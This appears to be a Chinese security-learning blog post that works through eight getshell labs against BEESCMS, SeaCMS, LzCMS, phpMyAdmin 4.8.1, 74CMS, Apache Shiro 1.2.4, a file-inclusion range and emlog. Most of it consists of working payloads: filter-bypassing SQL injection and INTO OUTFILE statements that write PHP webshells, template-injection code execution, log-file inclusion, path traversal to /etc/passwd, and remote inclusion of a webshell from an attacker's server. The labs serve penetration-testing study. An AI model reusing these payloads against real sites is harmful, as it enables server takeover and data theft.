当前位置:网站首页>DAY26:GetShell专题
DAY26:GetShell专题
2022-08-10 08:25:00 【EdmunDJK】
DAY26:GetShell专题
1、BEES企业网站管理系统 getshell实验
进入目标网址
在 URL 处输入admin
进入后台管理
尝试使用弱密码登录失败,发现会有跳转界面,似乎没有什么异常
尝试使用御剑扫描
发现有 www.zip
下载后打开
发现是源码泄露,找到我们需要的内容,有些无法访问,有些纯白,似乎只有登陆界面可以尝试注入,打开源码,判断login.php
有没有什么注入点。
<?php
/** * $Author: BEESCMS $ * ============================================================================ * 网站地址: http://www.beescms.com * 您只能在不用于商业目的的前提下对程序代码进行修改和使用; * 不允许对程序代码以任何形式任何目的的再发布。 * ============================================================================ */
@ini_set('session.use_trans_sid', 0);
@ini_set('session.auto_start', 0);
@ini_set('session.use_cookies', 1);
error_reporting(E_ALL & ~E_NOTICE);
$dir_name=str_replace('\\','/',dirname(__FILE__));
$admindir=substr($dir_name,strrpos($dir_name,'/')+1);
define('CMS_PATH',str_replace($admindir,'',$dir_name));
define('INC_PATH',CMS_PATH.'includes/');
define('DATA_PATH',CMS_PATH.'data/');
include(INC_PATH.'fun.php');
include(DATA_PATH.'confing.php');
include(INC_PATH.'mysql.class.php');
if(file_exists(DATA_PATH.'sys_info.php')){
include(DATA_PATH.'sys_info.php');
}
$mysql=new mysql(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME,DB_CHARSET,DB_PCONNECT);
session_start();
$s_code=empty($_SESSION['code'])?'':$_SESSION['code'];
$_SESSION['login_in']=empty($_SESSION['login_in'])?'':$_SESSION['login_in'];
$_SESSION['admin']=empty($_SESSION['admin'])?'':$_SESSION['admin'];
if($_SESSION['login_in']&&$_SESSION['admin']){
header("location:admin.php");}
$action=empty($_GET['action'])?'login':$_GET['action'];
if($action=='login'){
global $_sys;
include('template/admin_login.html');
}
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){
msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
elseif($action=='out'){
login_out();
}
?>
关键代码:
error_reporting(E_ALL & ~E_NOTICE);
$dir_name=str_replace('\\','/',dirname(__FILE__));
$admindir=substr($dir_name,strrpos($dir_name,'/')+1);
define('CMS_PATH',str_replace($admindir,'',$dir_name));
这里看到,他用到了str_replace
做了替换为空处理,由此我们需要进行双写绕过
尝试登录
账号:admin'
密码:admin
报错
但是通过报错信息,我们看到了很多内容,但是这里我们不准备使用 SQL 注入查数据,使用写文件写一个马上去,getshell
这里要用到的是select <?php assert($_POST[111]);?> into outfile '/文件路径'
因为有一个str_replace
所以需要双写,随便输入用户名和密码,登录并bp抓包。
使用绕过限制写入文件的注入代码
构建payload
:
admin' ununionion seselectlect 1,2,3,4,<?php assert($_POST['111']); ?> inintoto outoutfilefile '/var/www/html/shell.php'#
报错
在源码中发现fun.php
function fl_value($str){
if(empty($str)){
return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/','',$str);
}
function fl_html($str){
return htmlspecialchars($str);
}
发现将< >
过滤了,尝试url编码绕过,构建payload
:
%61%64%6d%69%6e%27%20%75%6e%75%6e%69%6f%6e%69%6f%6e%20%73%65%73%65%6c%65%63%74%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%3c%3f%70%68%70%20%61%73%73%65%72%74%28%24%5f%50%4f%53%54%5b%27%31%31%31%27%5d%29%3b%20%3f%3e%20%69%6e%20%69%6e%74%6f%20%6f%75%74%6f%75%74%66%69%6c%65%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%23
报错,url编码绕过失败
尝试使用16进制绕过,将一句话木马进行16进制编码,注意前面加上0x,这种方法也可以用在 sql 注入传参时引号被限制的情况的绕过注入
经过一系列调整,只有如下面构建payload
,才能成功:
admin%27 un union ion selselectect 1,2,3,4,0x3c3f7068702061737365727428245f504f53545b27313131275d293b203f3e %20 in into outoutfilefile '/var/www/html/shell.php';%00
验证是否上传成功
蚁剑连接 getshell
2、海洋影视网站-getshell实验
打开目标网址
使用burpsuite抓包
传入paload
:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");
在右边回显位置发现了命令执行后的结果,www-data
.
那么这里我们可以直接传入一句话木马
利用如下payload
,写入木马 getshell。利用 hackbar 验证是否写入成功:
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("echo '<?php eval(\$_POST[111]);?>' >1.php");
验证 getshell ,蚁剑连接
3、Lzcms_v1.1.5 后台文件上传getshell
LzCMS是用ThinkPHP+layui做的,简单方便,没有复杂的功能,是一个简单个人博客系统。 Lzcms_v1.1.5后台存在文件上传getshell漏洞,攻击者可利用此漏洞任意代码执行,从而控制服务器
进入目标网址,直接进后台
使用口令admin/admin123登陆
进入后台以后点击内容管理,编辑
在栏目图片这里上传1.png,内容为一句话木马,抓包将文件后缀修改为php
<?php @eval($_POST[111]);?>
这里直接上传了一个 1.php
蚁剑连接 getshell
4、phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
访问
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
可见/etc/passwd
被读取,说明文件包含漏洞存在:
环境启动后,访问http://your-ip:8080
,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户
我们先尝试在sql查询中输入SELECT '<?=phpinfo()?>';
,通过抓包工具获得我们查询的sessionid(cookie中phpMAdmin)的值
Cookie: phpMyAdmin=6a5466755645fa2795edbd4096cfd5d9; pma_lang=zh_CN; auto_saved_sql_sort=
在 phpMyAdmin 中 session 文件为/tmp/sess_sessionid
,因此我们在网址中包含就好
http://your_ip/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_6a5466755645fa2795edbd4096cfd5d9
sess 后面要跟上你之前记住的 phpmyadmin 的cookie
成功复现
5、骑士CMS模版注入+文件包含getshell
骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士 CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器、
访问如下 url
http://IP/index.php?m=home&a=assign_resume_tpl
对此页面发送POST请求:
variable=1&tpl=<?php fputs(fopen("111.php","w"),"<?php eval(\$_POST[1]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
这里如果查看日志会发现已经记录了错误,木马已经写进去了,位置:\WWW\data\Runtime\Logs\Home
包含日志文件getshell,输入如下网址
http://IP/index.php?m=home&a=assign_resume_tpl
发送如下POST请求(注意:最后的22_08_01.log是按照日期来确定名称的,在包含日志文件的时候要包含当日的实际日期,如果是2022年8月5号开启的环境就要包含22_08_05.log):
variable=1&tpl=data/Runtime/Logs/Home/22_08_01.log
这里使用bp没有成功,但是使用 hackbar 好了
创建了111.php,访问一下
成功
6、Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
存在危险的基础库:
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
http://目标IP:8080
进入目标页面
输入默认的账号密码尝试登录,账号为admin,密码为vulhub,登录成功显示如下
这里使用 shiro 反序列化自动工具跑出 key
可以看到检查日志中成功爆出秘钥,并填写到指定秘钥中,点击爆破利用链及回显,可以看到当前利用链和回显位置适用
切换功能区至命令执行,输入whoami,可以看到获取的权限为root,由此证明可以实现远程命令执行
getshell
7、远程文件包含getshell实战靶场
云演环境
进入环境
include-01
、直接包含
直接使用 http:// 协议包含远程服务器上的文件1.txt
1.txt 内容为一句话木马
http://本IP/src/include-01/?file=http://远程服务器IP/1.txt
访问并使用hackbar传入一个post参数
即可 getshell
include-02
、禁止翻目录
同上,蚁剑连接 getshell
include-03
、绕过指定后缀的形式
远程文件包含的绕过指定后缀的方式: 后面接?、#
等
getshell操作同第一关
include-04
、指定前缀
本关卡会指定目录 在这种情况下远程文件包含不可以使用。
8、emlog备份数据库漏洞
进入目标网址,这里主页有些问题,所以显示不完整
url 处添加/admin
进入后台
输入 admin/admin123
进入后台
点击数据,点击备份数据库随便那个下载到本地上
在里面添加上 sql 语句的一句话木马
select "<?php phpinfo(); @eval($_POST['111']);?>" into outfile '/var/www/html/111.php';
点击导入本地备份
备份导入成功,访问文件蚁剑连接 getshell
边栏推荐
猜你喜欢
随机推荐
nrm 使用详解
Is the write performance of raid5 faster than raid10?
34. Talk about why you want to split the database?What methods are there?
Rust learning: 6.4_ enumeration of composite types
【Rust指南】使用Cargo工具高效创建Rust项目 | 理解Rust特别的输入输出语句
js reduce
深度剖析“八大排序”(上)_ 探寻一些不为人知的细节
Ask next CDC mysql to Doris. Don't show the specific number of lines, how to do?
同步锁synchronized追本溯源
.NET-7.WPF learning experience summary
Unity—UGUI控件
2022-08-01 网工进阶(二十四) STP进阶知识
VMware ESX Server常用命令行
The implementation of the seemingly useless component (text gradient) in NaiveUI is so simple
Rust学习:6.5_复合类型之数组
TensorFlow 2.9的零零碎碎(一)
Quickly enter the current date and time
【一起学Rust | 进阶篇 | RMQTT库】RMQTT消息服务器——安装与集群配置
uni 小程序腾讯地图polygon背景透明度
PHP笔记 28 29 30 31